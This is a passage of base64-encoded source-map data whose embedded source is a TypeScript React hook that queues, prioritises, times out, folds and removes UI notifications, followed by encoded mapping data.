5nXG4gICAqIGtleSBhbHJlYWR5IGV4aXN0cyBpbiB0aGUgcXVldWUgb3IgaXMgY3VycmVudGx5IGRpc3BsYXllZC5cbiAgICogUmV0dXJucyB0aGUgbWVyZ2VkIG5vdGlmaWNhdGlvbiAoc2hvdWxkIGNhcnJ5IGZvbGQgZm9yd2FyZCBmb3IgZnV0dXJlIG1lcmdlcykuXG4gICAqL1xuICBmb2xkPzogKGFjY3VtdWxhdG9yOiBOb3RpZmljYXRpb24sIGluY29taW5nOiBOb3RpZmljYXRpb24pID0+IE5vdGlmaWNhdGlvblxufVxuXG50eXBlIFRleHROb3RpZmljYXRpb24gPSBCYXNlTm90aWZpY2F0aW9uICYge1xuICB0ZXh0OiBzdHJpbmdcbiAgY29sb3I/OiBrZXlvZiBUaGVtZVxufVxuXG50eXBlIEpTWE5vdGlmaWNhdGlvbiA9IEJhc2VOb3RpZmljYXRpb24gJiB7XG4gIGpzeDogUmVhY3QuUmVhY3ROb2RlXG59XG5cbnR5cGUgQWRkTm90aWZpY2F0aW9uRm4gPSAoY29udGVudDogTm90aWZpY2F0aW9uKSA9PiB2b2lkXG50eXBlIFJlbW92ZU5vdGlmaWNhdGlvbkZuID0gKGtleTogc3RyaW5nKSA9PiB2b2lkXG5cbmV4cG9ydCB0eXBlIE5vdGlmaWNhdGlvbiA9IFRleHROb3RpZmljYXRpb24gfCBKU1hOb3RpZmljYXRpb25cblxuY29uc3QgREVGQVVMVF9USU1FT1VUX01TID0gODAwMFxuXG4vLyBUcmFjayBjdXJyZW50IHRpbWVvdXQgdG8gY2xlYXIgaXQgd2hlbiBpbW1lZGlhdGUgbm90aWZpY2F0aW9ucyBhcnJpdmVcbmxldCBjdXJyZW50VGltZW91dElkOiBOb2RlSlMuVGltZW91dCB8IG51bGwgPSBudWxsXG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VOb3RpZmljYXRpb25zKCk6IHtcbiAgYWRkTm90aWZpY2F0aW9uOiBBZGROb3RpZmljYXRpb25GblxuICByZW1vdmVOb3RpZmljYXRpb246IFJlbW92ZU5vdGlmaWNhdGlvbkZuXG59IHtcbiAgY29uc3Qgc3RvcmUgPSB1c2VBcHBTdGF0ZVN0b3JlKClcbiAgY29uc3Qgc2V0QXBwU3RhdGUgPSB1c2VTZXRBcHBTdGF0ZSgpXG5cbiAgLy8gUHJvY2VzcyBxdWV1ZSB3aGVuIGN1cnJlbnQgbm90aWZpY2F0aW9uIGZpbmlzaGVzIG9yIHF1ZXVlIGNoYW5nZXNcbiAgY29uc3QgcHJvY2Vzc1F1ZXVlID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIHNldEFwcFN0YXRlKHByZXYgPT4ge1xuICAgICAgY29uc3QgbmV4dCA9IGdldE5leHQocHJldi5ub3RpZmljYXRpb25zLnF1ZXVlKVxuICAgICAgaWYgKHByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50ICE9PSBudWxsIHx8ICFuZXh0KSB7XG4gICAgICAgIHJldHVybiBwcmV2XG4gICAgICB9XG5cbiAgICAgIGN1cnJlbnRUaW1lb3V0SWQgPSBzZXRUaW1lb3V0KFxuICAgICAgICAoc2V0QXBwU3RhdGUsIG5leHRLZXksIHByb2Nlc3NRdWV1ZSkgPT4ge1xuICAgICAgICAgIGN1cnJlbnRUaW1lb3V0SWQgPSBudWxsXG4gICAgICAgICAgc2V0QXBwU3RhdGUocHJldiA9PiB7XG4gICAgICAgICAgICAvLyBDb21wYXJlIGJ5IGtleSBpbnN0ZWFkIG9mIHJlZmVyZW5jZSB0byBoYW5kbGUgcmUtY3JlYXRlZCBub3RpZmljYXRpb25zXG4gICAgICAgICAgICBpZiAocHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnQ/LmtleSAhPT0gbmV4dEtleSkge1xuICAgICAgICAgICAgICByZXR1cm4gcHJldlxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICAgICAgLi4ucHJldixcbiAgICAgICAgICAgICAgbm90aWZpY2F0aW9uczoge1xuICAgICAgICAgICAgICAgIHF1ZXVlOiBwcmV2Lm5vdGlmaWNhdGlvbnMucXVldWUsXG4gICAgICAgICAgICAgICAgY3VycmVudDogbnVsbCxcbiAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9KVxuICAgICAgICAgIHByb2Nlc3NRdWV1ZSgpXG4gICAgICAgIH0sXG4gICAgICAgIG5leHQudGltZW91dE1zID8/IERFRkFVTFRfVElNRU9VVF9NUyxcbiAgICAgICAgc2V0QXBwU3RhdGUsXG4gICAgICAgIG5leHQua2V5LFxuICAgICAgICBwcm9jZXNzUXVldWUsXG4gICAgICApXG5cbiAgICAgIHJldHVybiB7XG4gICAgICAgIC4uLnByZXYsXG4gICAgICAgIG5vdGlmaWNhdGlvbnM6IHtcbiAgICAgICAgICBxdWV1ZTogcHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLmZpbHRlcihfID0+IF8gIT09IG5leHQpLFxuICAgICAgICAgIGN1cnJlbnQ6IG5leHQsXG4gICAgICAgIH0sXG4gICAgICB9XG4gICAgfSlcbiAgfSwgW3NldEFwcFN0YXRlXSlcblxuICBjb25zdCBhZGROb3RpZmljYXRpb24gPSB1c2VDYWxsYmFjazxBZGROb3RpZmljYXRpb25Gbj4oXG4gICAgKG5vdGlmOiBOb3RpZmljYXRpb24pID0+IHtcbiAgICAgIC8vIEhhbmRsZSBpbW1lZGlhdGUgcHJpb3JpdHkgbm90aWZpY2F0aW9uc1xuICAgICAgaWYgKG5vdGlmLnByaW9yaXR5ID09PSAnaW1tZWRpYXRlJykge1xuICAgICAgICAvLyBDbGVhciBhbnkgZXhpc3RpbmcgdGltZW91dCBzaW5jZSB3ZSdyZSBzaG93aW5nIGEgbmV3IGltbWVkaWF0ZSBub3RpZmljYXRpb25cbiAgICAgICAgaWYgKGN1cnJlbnRUaW1lb3V0SWQpIHtcbiAgICAgICAgICBjbGVhclRpbWVvdXQoY3VycmVudFRpbWVvdXRJZClcbiAgICAgICAgICBjdXJyZW50VGltZW91dElkID0gbnVsbFxuICAgICAgICB9XG5cbiAgICAgICAgLy8gU2V0IHVwIHRpbWVvdXQgZm9yIHRoZSBpbW1lZGlhdGUgbm90aWZpY2F0aW9uXG4gICAgICAgIGN1cnJlbnRUaW1lb3V0SWQgPSBzZXRUaW1lb3V0KFxuICAgICAgICAgIChzZXRBcHBTdGF0ZSwgbm90aWYsIHByb2Nlc3NRdWV1ZSkgPT4ge1xuICAgICAgICAgICAgY3VycmVudFRpbWVvdXRJZCA9IG51bGxcbiAgICAgICAgICAgIHNldEFwcFN0YXRlKHByZXYgPT4ge1xuICAgICAgICAgICAgICAvLyBDb21wYXJlIGJ5IGtleSBpbnN0ZWFkIG9mIHJlZmVyZW5jZSB0byBoYW5kbGUgcmUtY3JlYXRlZCBub3RpZmljYXRpb25zXG4gICAgICAgICAgICAgIGlmIChwcmV2Lm5vdGlmaWNhdGlvbnMuY3VycmVudD8ua2V5ICE9PSBub3RpZi5rZXkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gcHJldlxuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgIHJldHVybiB7XG4gICAgICAgICAgICAgICAgLi4ucHJldixcbiAgICAgICAgICAgICAgICBub3RpZmljYXRpb25zOiB7XG4gICAgICAgICAgICAgICAgICBxdWV1ZTogcHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLmZpbHRlcihcbiAgICAgICAgICAgICAgICAgICAgXyA9PiAhbm90aWYuaW52YWxpZGF0ZXM/LmluY2x1ZGVzKF8ua2V5KSxcbiAgICAgICAgICAgICAgICAgICksXG4gICAgICAgICAgICAgICAgICBjdXJyZW50OiBudWxsLFxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH0pXG4gICAgICAgICAgICBwcm9jZXNzUXVldWUoKVxuICAgICAgICAgIH0sXG4gICAgICAgICAgbm90aWYudGltZW91dE1zID8/IERFRkFVTFRfVElNRU9VVF9NUyxcbiAgICAgICAgICBzZXRBcHBTdGF0ZSxcbiAgICAgICAgICBub3RpZixcbiAgICAgICAgICBwcm9jZXNzUXVldWUsXG4gICAgICAgIClcblxuICAgICAgICAvLyBTaG93IHRoZSBpbW1lZGlhdGUgbm90aWZpY2F0aW9uIHJpZ2h0IGF3YXlcbiAgICAgICAgc2V0QXBwU3RhdGUocHJldiA9PiAoe1xuICAgICAgICAgIC4uLnByZXYsXG4gICAgICAgICAgbm90aWZpY2F0aW9uczoge1xuICAgICAgICAgICAgY3VycmVudDogbm90aWYsXG4gICAgICAgICAgICBxdWV1ZTpcbiAgICAgICAgICAgICAgLy8gT25seSByZS1xdWV1ZSB0aGUgY3VycmVudCBub3RpZmljYXRpb24gaWYgaXQncyBub3QgaW1tZWRpYXRlXG4gICAgICAgICAgICAgIFtcbiAgICAgICAgICAgICAgICAuLi4ocHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnRcbiAgICAgICAgICAgICAgICAgID8gW3ByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50XVxuICAgICAgICAgICAgICAgICAgOiBbXSksXG4gICAgICAgICAgICAgICAgLi4ucHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLFxuICAgICAgICAgICAgICBdLmZpbHRlcihcbiAgICAgICAgICAgICAgICBfID0+XG4gICAgICAgICAgICAgICAgICBfLnByaW9yaXR5ICE9PSAnaW1tZWRpYXRlJyAmJlxuICAgICAgICAgICAgICAgICAgIW5vdGlmLmludmFsaWRhdGVzPy5pbmNsdWRlcyhfLmtleSksXG4gICAgICAgICAgICAgICksXG4gICAgICAgICAgfSxcbiAgICAgICAgfSkpXG4gICAgICAgIHJldHVybiAvLyBJTVBPUlRBTlQ6IEV4aXQgYWRkTm90aWZpY2F0aW9uIGZvciBpbW1lZGlhdGUgbm90aWZpY2F0aW9uc1xuICAgICAgfVxuXG4gICAgICAvLyBIYW5kbGUgbm9uLWltbWVkaWF0ZSBub3RpZmljYXRpb25zXG4gICAgICBzZXRBcHBTdGF0ZShwcmV2ID0+IHtcbiAgICAgICAgLy8gQ2hlY2sgaWYgd2UgY2FuIGZvbGQgaW50byBhbiBleGlzdGluZyBub3RpZmljYXRpb24gd2l0aCB0aGUgc2FtZSBrZXlcbiAgICAgICAgaWYgKG5vdGlmLmZvbGQpIHtcbiAgICAgICAgICAvLyBGb2xkIGludG8gY3VycmVudCBub3RpZmljYXRpb24gaWYga2V5cyBtYXRjaFxuICAgICAgICAgIGlmIChwcmV2Lm5vdGlmaWNhdGlvbnMuY3VycmVudD8ua2V5ID09PSBub3RpZi5rZXkpIHtcbiAgICAgICAgICAgIGNvbnN0IGZvbGRlZCA9IG5vdGlmLmZvbGQocHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnQsIG5vdGlmKVxuICAgICAgICAgICAgLy8gUmVzZXQgdGltZW91dCBmb3IgdGhlIGZvbGRlZCBub3RpZmljYXRpb25cbiAgICAgICAgICAgIGlmIChjdXJyZW50VGltZW91dElkKSB7XG4gICAgICAgICAgICAgIGNsZWFyVGltZW91dChjdXJyZW50VGltZW91dElkKVxuICAgICAgICAgICAgICBjdXJyZW50VGltZW91dElkID0gbnVsbFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgY3VycmVudFRpbWVvdXRJZCA9IHNldFRpbWVvdXQoXG4gICAgICAgICAgICAgIChzZXRBcHBTdGF0ZSwgZm9sZGVkS2V5LCBwcm9jZXNzUXVldWUpID0+IHtcbiAgICAgICAgICAgICAgICBjdXJyZW50VGltZW91dElkID0gbnVsbFxuICAgICAgICAgICAgICAgIHNldEFwcFN0YXRlKHAgPT4ge1xuICAgICAgICAgICAgICAgICAgaWYgKHAubm90aWZpY2F0aW9ucy5jdXJyZW50Py5rZXkgIT09IGZvbGRlZEtleSkge1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gcFxuICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICAgICAgICAgICAgLi4ucCxcbiAgICAgICAgICAgICAgICAgICAgbm90aWZpY2F0aW9uczoge1xuICAgICAgICAgICAgICAgICAgICAgIHF1ZXVlOiBwLm5vdGlmaWNhdGlvbnMucXVldWUsXG4gICAgICAgICAgICAgICAgICAgICAgY3VycmVudDogbnVsbCxcbiAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KVxuICAgICAgICAgICAgICAgIHByb2Nlc3NRdWV1ZSgpXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgIGZvbGRlZC50aW1lb3V0TXMgPz8gREVGQVVMVF9USU1FT1VUX01TLFxuICAgICAgICAgICAgICBzZXRBcHBTdGF0ZSxcbiAgICAgICAgICAgICAgZm9sZGVkLmtleSxcbiAgICAgICAgICAgICAgcHJvY2Vzc1F1ZXVlLFxuICAgICAgICAgICAgKVxuXG4gICAgICAgICAgICByZXR1cm4ge1xuICAgICAgICAgICAgICAuLi5wcmV2LFxuICAgICAgICAgICAgICBub3RpZmljYXRpb25zOiB7XG4gICAgICAgICAgICAgICAgY3VycmVudDogZm9sZGVkLFxuICAgICAgICAgICAgICAgIHF1ZXVlOiBwcmV2Lm5vdGlmaWNhdGlvbnMucXVldWUsXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuXG4gICAgICAgICAgLy8gRm9sZCBpbnRvIHF1ZXVlZCBub3RpZmljYXRpb24gaWYga2V5cyBtYXRjaFxuICAgICAgICAgIGNvbnN0IHF1ZXVlSWR4ID0gcHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLmZpbmRJbmRleChcbiAgICAgICAgICAgIF8gPT4gXy5rZXkgPT09IG5vdGlmLmtleSxcbiAgICAgICAgICApXG4gICAgICAgICAgaWYgKHF1ZXVlSWR4ICE9PSAtMSkge1xuICAgICAgICAgICAgY29uc3QgZm9sZGVkID0gbm90aWYuZm9sZChcbiAgICAgICAgICAgICAgcHJldi5ub3RpZmljYXRpb25zLnF1ZXVlW3F1ZXVlSWR4XSEsXG4gICAgICAgICAgICAgIG5vdGlmLFxuICAgICAgICAgICAgKVxuICAgICAgICAgICAgY29uc3QgbmV3UXVldWUgPSBbLi4ucHJldi5ub3RpZmljYXRpb25zLnF1ZXVlXVxuICAgICAgICAgICAgbmV3UXVldWVbcXVldWVJZHhdID0gZm9sZGVkXG4gICAgICAgICAgICByZXR1cm4ge1xuICAgICAgICAgICAgICAuLi5wcmV2LFxuICAgICAgICAgICAgICBub3RpZmljYXRpb25zOiB7XG4gICAgICAgICAgICAgICAgY3VycmVudDogcHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnQsXG4gICAgICAgICAgICAgICAgcXVldWU6IG5ld1F1ZXVlLFxuICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIC8vIE9ubHkgYWRkIHRvIHF1ZXVlIGlmIG5vdCBhbHJlYWR5IHByZXNlbnQgKHByZXZlbnQgZHVwbGljYXRlcylcbiAgICAgICAgY29uc3QgcXVldWVkS2V5cyA9IG5ldyBTZXQocHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLm1hcChfID0+IF8ua2V5KSlcbiAgICAgICAgY29uc3Qgc2hvdWxkQWRkID1cbiAgICAgICAgICAhcXVldWVkS2V5cy5oYXMobm90aWYua2V5KSAmJlxuICAgICAgICAgIHByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50Py5rZXkgIT09IG5vdGlmLmtleVxuXG4gICAgICAgIGlmICghc2hvdWxkQWRkKSByZXR1cm4gcHJldlxuXG4gICAgICAgIGNvbnN0IGludmFsaWRhdGVzQ3VycmVudCA9XG4gICAgICAgICAgcHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnQgIT09IG51bGwgJiZcbiAgICAgICAgICBub3RpZi5pbnZhbGlkYXRlcz8uaW5jbHVkZXMocHJldi5ub3RpZmljYXRpb25zLmN1cnJlbnQua2V5KVxuXG4gICAgICAgIGlmIChpbnZhbGlkYXRlc0N1cnJlbnQgJiYgY3VycmVudFRpbWVvdXRJZCkge1xuICAgICAgICAgIGNsZWFyVGltZW91dChjdXJyZW50VGltZW91dElkKVxuICAgICAgICAgIGN1cnJlbnRUaW1lb3V0SWQgPSBudWxsXG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4ge1xuICAgICAgICAgIC4uLnByZXYsXG4gICAgICAgICAgbm90aWZpY2F0aW9uczoge1xuICAgICAgICAgICAgY3VycmVudDogaW52YWxpZGF0ZXNDdXJyZW50ID8gbnVsbCA6IHByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50LFxuICAgICAgICAgICAgcXVldWU6IFtcbiAgICAgICAgICAgICAgLi4ucHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLmZpbHRlcihcbiAgICAgICAgICAgICAgICBfID0+XG4gICAgICAgICAgICAgICAgICBfLnByaW9yaXR5ICE9PSAnaW1tZWRpYXRlJyAmJlxuICAgICAgICAgICAgICAgICAgIW5vdGlmLmludmFsaWRhdGVzPy5pbmNsdWRlcyhfLmtleSksXG4gICAgICAgICAgICAgICksXG4gICAgICAgICAgICAgIG5vdGlmLFxuICAgICAgICAgICAgXSxcbiAgICAgICAgICB9LFxuICAgICAgICB9XG4gICAgICB9KVxuXG4gICAgICAvLyBQcm9jZXNzIHF1ZXVlIGFmdGVyIGFkZGluZyB0aGUgbm90aWZpY2F0aW9uXG4gICAgICBwcm9jZXNzUXVldWUoKVxuICAgIH0sXG4gICAgW3NldEFwcFN0YXRlLCBwcm9jZXNzUXVldWVdLFxuICApXG5cbiAgY29uc3QgcmVtb3ZlTm90aWZpY2F0aW9uID0gdXNlQ2FsbGJhY2s8UmVtb3ZlTm90aWZpY2F0aW9uRm4+KFxuICAgIChrZXk6IHN0cmluZykgPT4ge1xuICAgICAgc2V0QXBwU3RhdGUocHJldiA9PiB7XG4gICAgICAgIGNvbnN0IGlzQ3VycmVudCA9IHByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50Py5rZXkgPT09IGtleVxuICAgICAgICBjb25zdCBpblF1ZXVlID0gcHJldi5ub3RpZmljYXRpb25zLnF1ZXVlLnNvbWUobiA9PiBuLmtleSA9PT0ga2V5KVxuXG4gICAgICAgIGlmICghaXNDdXJyZW50ICYmICFpblF1ZXVlKSB7XG4gICAgICAgICAgcmV0dXJuIHByZXZcbiAgICAgICAgfVxuXG4gICAgICAgIGlmIChpc0N1cnJlbnQgJiYgY3VycmVudFRpbWVvdXRJZCkge1xuICAgICAgICAgIGNsZWFyVGltZW91dChjdXJyZW50VGltZW91dElkKVxuICAgICAgICAgIGN1cnJlbnRUaW1lb3V0SWQgPSBudWxsXG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4ge1xuICAgICAgICAgIC4uLnByZXYsXG4gICAgICAgICAgbm90aWZpY2F0aW9uczoge1xuICAgICAgICAgICAgY3VycmVudDogaXNDdXJyZW50ID8gbnVsbCA6IHByZXYubm90aWZpY2F0aW9ucy5jdXJyZW50LFxuICAgICAgICAgICAgcXVldWU6IHByZXYubm90aWZpY2F0aW9ucy5xdWV1ZS5maWx0ZXIobiA9PiBuLmtleSAhPT0ga2V5KSxcbiAgICAgICAgICB9LFxuICAgICAgICB9XG4gICAgICB9KVxuXG4gICAgICBwcm9jZXNzUXVldWUoKVxuICAgIH0sXG4gICAgW3NldEFwcFN0YXRlLCBwcm9jZXNzUXVldWVdLFxuICApXG5cbiAgLy8gUHJvY2VzcyBxdWV1ZSBvbiBtb3VudCBpZiB0aGVyZSBhcmUgbm90aWZpY2F0aW9ucyBpbiB0aGUgaW5pdGlhbCBzdGF0ZS5cbiAgLy8gSW1wZXJhdGl2ZSByZWFkIChub3QgdXNlQXBwU3RhdGUpIOKAlCBhIHN1YnNjcmlwdGlvbiBpbiBhIG1vdW50LW9ubHlcbiAgLy8gZWZmZWN0IHdvdWxkIGJlIHZlc3RpZ2lhbCBhbmQgbWFrZSBldmVyeSBjYWxsZXIgcmUtcmVuZGVyIG9uIHF1ZXVlIGNoYW5nZXMuXG4gIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSByZWFjdC1ob29rcy9leGhhdXN0aXZlLWRlcHNcbiAgLy8gYmlvbWUtaWdub3JlIGxpbnQvY29ycmVjdG5lc3MvdXNlRXhoYXVzdGl2ZURlcGVuZGVuY2llczogbW91bnQtb25seSBlZmZlY3QsIHN0b3JlIGlzIGEgc3RhYmxlIGNvbnRleHQgcmVmXG4gIHVzZUVmZmVjdCgoKSA9PiB7XG4gICAgaWYgKHN0b3JlLmdldFN0YXRlKCkubm90aWZpY2F0aW9ucy5xdWV1ZS5sZW5ndGggPiAwKSB7XG4gICAgICBwcm9jZXNzUXVldWUoKVxuICAgIH1cbiAgfSwgW10pXG5cbiAgcmV0dXJuIHsgYWRkTm90aWZpY2F0aW9uLCByZW1vdmVOb3RpZmljYXRpb24gfVxufVxuXG5jb25zdCBQUklPUklUSUVTOiBSZWNvcmQ8UHJpb3JpdHksIG51bWJlcj4gPSB7XG4gIGltbWVkaWF0ZTogMCxcbiAgaGlnaDogMSxcbiAgbWVkaXVtOiAyLFxuICBsb3c6IDMsXG59XG5leHBvcnQgZnVuY3Rpb24gZ2V0TmV4dChxdWV1ZTogTm90aWZpY2F0aW9uW10pOiBOb3RpZmljYXRpb24gfCB1bmRlZmluZWQge1xuICBpZiAocXVldWUubGVuZ3RoID09PSAwKSByZXR1cm4gdW5kZWZpbmVkXG4gIHJldHVybiBxdWV1ZS5yZWR1Y2UoKG1pbiwgbikgPT5cbiAgICBQUklPUklUSUVTW24ucHJpb3JpdHldIDwgUFJJT1JJVElFU1ttaW4ucHJpb3JpdHldID8gbiA6IG1pbixcbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxZQUFZLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQ25DLFNBQVNDLFdBQVcsRUFBRUMsU0FBUyxRQUFRLE9BQU87QUFDOUMsU0FBU0MsZ0JBQWdCLEVBQUVDLGNBQWMsUUFBUSx1QkFBdUI7QUFDeEUsY0FBY0MsS0FBSyxRQUFRLG1CQUFtQjtBQUU5QyxLQUFLQyxRQUFRLEdBQUcsS0FBSyxHQUFHLFFBQVEsR0FBRyxNQUFNLEdBQUcsV0FBVztBQUV2RCxLQUFLQyxnQkFBZ0IsR0FBRztFQUN0QkMsR0FBRyxFQUFFLE1BQU07RUFDWDtBQUNGO0FBQ0E7QUFDQTtBQUNBO0VBQ0VDLFdBQVcsQ0FBQyxFQUFFLE1BQU0sRUFBRTtFQUN0QkMsUUFBUSxFQUFFSixRQUFRO0VBQ2xCSyxTQUFTLENBQUMsRUFBRSxNQUFNO0VBQ2xCO0FBQ0Y7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNFQyxJQUFJLENBQUMsRUFBRSxDQUFDQyxXQUFXLEVBQUVDLFlBQVksRUFBRUMsUUFBUSxFQUFFRCxZQUFZLEVBQUUsR0FBR0EsWUFBWTtBQUM1RSxDQUFDO0FBRUQsS0FBS0UsZ0JBQWdCLEdBQUdULGdCQUFnQixHQUFHO0VBQ3pDVSxJQUFJLEVBQUUsTUFBTTtFQUNaQyxLQUFLLENBQUMsRUFBRSxNQUFNYixLQUFLO0FBQ3JCLENBQUM7QUFFRCxLQUFLYyxlQU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